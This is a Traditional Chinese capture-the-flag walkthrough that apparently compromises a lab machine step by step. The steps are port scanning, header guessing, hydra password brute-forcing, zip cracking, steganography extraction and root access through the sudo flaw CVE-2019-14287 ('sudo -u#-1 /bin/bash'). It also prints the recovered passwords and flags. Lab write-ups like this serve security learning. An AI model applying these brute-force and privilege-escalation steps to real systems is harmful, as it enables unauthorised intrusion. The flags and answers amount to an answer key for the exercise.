首先拿到機器 ip 10.10.158.25
,確認機器已上線
ping 10.10.158.25
使用 nmap 掃描有哪些服務,同樣地分別使用快速以及慢速但資訊較多的方法來掃
nmap -v 10.10.158.25
nmap -v -sV -p- -sC --min-rate 5000 10.10.158.25
可以看到機器開了以下這些服務:
21 ftp vsftpd 3.0.3
22 ssh openssh 7.6
80 http apache 2.4.29
而既然有 ftp 服務,則可以嘗試使用 anonymous
身分來進行免密碼登入並取得檔案,不過該機器似乎沒有啟用該身分因此無法利用
(忘記截圖ㄌ)
除了 ftp 之外,該機器還有 web 服務,因此可以嘗試打開瀏覽器來看看
可以看到我們會需要修改 HTTP header 的 user-agent
部分成某個 codename
此外我也同時使用 dirsearch 和 gobuster 工具來嘗試找可能的隱藏路徑
dirsearch --url http://10.10.158.25/
gobuster dir -u http://10.10.158.25/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
可以看到沒有太特別的路徑
此外我也嘗試使用 burp 的 sitemap 功能,但是也沒有找到其他 endpoint
因此看起來是要爆破 User-agent
,所以往常是使用 burp 的 intruder 工具搭配 Seclists 中的 Usernames/Names/names.txt
字典檔進行爆破
由於一直爆破很久找不出來,因此我偷偷看了一下題目的提示,發現其實把 User-agent
設定成 C
即可導向到 /agent_C_attention.php
endpoint,猜測可能是這邊的 codename 就像是網頁中顯示的 R
這樣一個單一字母而非像是名字那樣,加上我粗略檢視及猜測時眼殘沒注意到 http 狀態碼有變 (畢竟內容都長的一樣)
總之,/agent_C_attention.php
endpoint 的內容如下
從內容中我們可以注意到有使用者名稱為 chris
(代號為 C
),而他有弱密碼的問題,因此嘗試用 hydra 工具搭配 rockyou.txt
爆破 ftp 及 ssh 密碼
hydra -l chris -P ~/Desktop/temp/rockyou.txt 10.10.158.25 ftp
hydra -l chris -P ~/Desktop/temp/rockyou.txt 10.10.158.25 ssh
ssh 部分因一直爆破不出,放棄爆破
爆破出了 chris
在 ftp 上的密碼為 crystal
,直接進行登入
ftp 10.10.158.25
查看當前目錄
發現有一個 txt 檔案及兩個圖片檔,使用 more
指令查看該文字檔
more To_agentJ.txt
可以看到 agent J 的密碼在另外兩個圖片中,看來是時候進行 stego 了
首先使用 mget
指令下載兩張圖片
mget cute-alien.jpg
mget cuie.png
經過一些 stego 的嘗試過後,在使用 binwalk 時發現 cutie.png
裡面有一個 zip 檔案
binwalk -e cutie.png
嘗試使用 unzip 解開,但是出現了 need PK compat. v5.1 (can do v4.6)
的訊息,在上網搜尋一下之後找到這篇文章,改用 7z 進行解壓縮
7z x 8702.zip
解壓過程中發現需要密碼才能解開檔案
嘗試使用 zip2john 搭配 john 及 rockyou.txt
,進行 zip 的密碼爆破
zip2john 8702.zip > hash.txt
john --wordlist=~/Desktop/temp/rockyou.txt hash.txt
找到 zip 的密碼為 alien
成功解壓
解壓出來一個 To_agentR.txt
,內容如下
其中有一塊很像是 base64,使用工具解碼出來為 Area51
echo "QXJlYTUx" | base64 -d
推測這是另一個 jpg 的 steghide 密碼,嘗試萃取
steghide extract -sf cute-alien.jpg
萃取出一個 message.txt
,內容如下
所以我們知道 james
(agent J
) 的登入密碼為 hackerrules!
,嘗試使用 ssh 登入
登入成功,查看目前身分及群組
看起來該帳號有 sudo 可以用,等等的提權應該很輕鬆 ? (才怪)
userflag 在當前家目錄下的 user_flag.txt
b03d975e8c92a7c04146cfa7a5a313c7
在提權之前還有一件事,在題目中有要求要找 the incident of the photo called
,也可以看到在家目錄中有一個 Alien_autospy.jpg
的圖片,因此嘗試將圖片複製回 kali 工作環境中
scp [email protected]:~/Alien_autospy.jpg ./agent_sudo/
因為我英文很爛的原因,一直猜不透題目的答案,偷偷看了一下提示發現是要做圖片反向搜尋,而使用了 google 的力量後找到圖片的原網址,連結
然後該題的答案是 Roswell alien autopsy
接著到提權部分,剛才我們檢查身分時發現有 sudo 的權限,但是用 sudo -l
檢查時發現我們沒辦法用 root 身分使用 bash,所以需要想辦法用其他方式提權
根據題目,這邊我們需要找一個 CVE,起初我猜測是與 kernel 相關,因此先查詢 kernel 版本後使用 exploitdb 查找相關 CVE,雖然有找到 (CVE-2018-7273
, CVE-2018-18955
) 但都不是這題要的答案
查找 kernel version:
cat /proc/version
而後也嘗試使用 LinPEAS 工具進行枚舉,也有發現以下可能的 CVE 漏洞,但都不是這題要的答案
cve-2002-1614
cve-2011-1458
cve-2017-0358
cve-2017-5618
cve-2019-7304
cve-2019-13272
cve-2019-15666
cve-2019-18634
cve-2021-3156
cve-2021-4034
cve-2021-22555
cve-2022-2586
cve-2022-2588
cve-2022-32250
後來在尋找 cve 的過程中,突然想到這題題目名稱與 sudo 有關,於是用 exploitdb 查詢有關 sudo 的相關漏洞,找到了這個 exploit
https://www.exploit-db.com/exploits/47502
裡面的相關說明看起來也與我們前面觀察到的很像,因此推測就是這個 cve (CVE-2019-14287
),果真也的確是這個
使用 sudo 漏洞提權,並確認成為了 root 的身分
sudo -u#-1 /bin/bash
rootflag 在 /root
的 root.txt
中
b53a02f55b57d4439e3341834d70c062
此外也從 root.txt 中發現了 agent R 的名字是 Deskel
至此,已取得這台機器的完整權限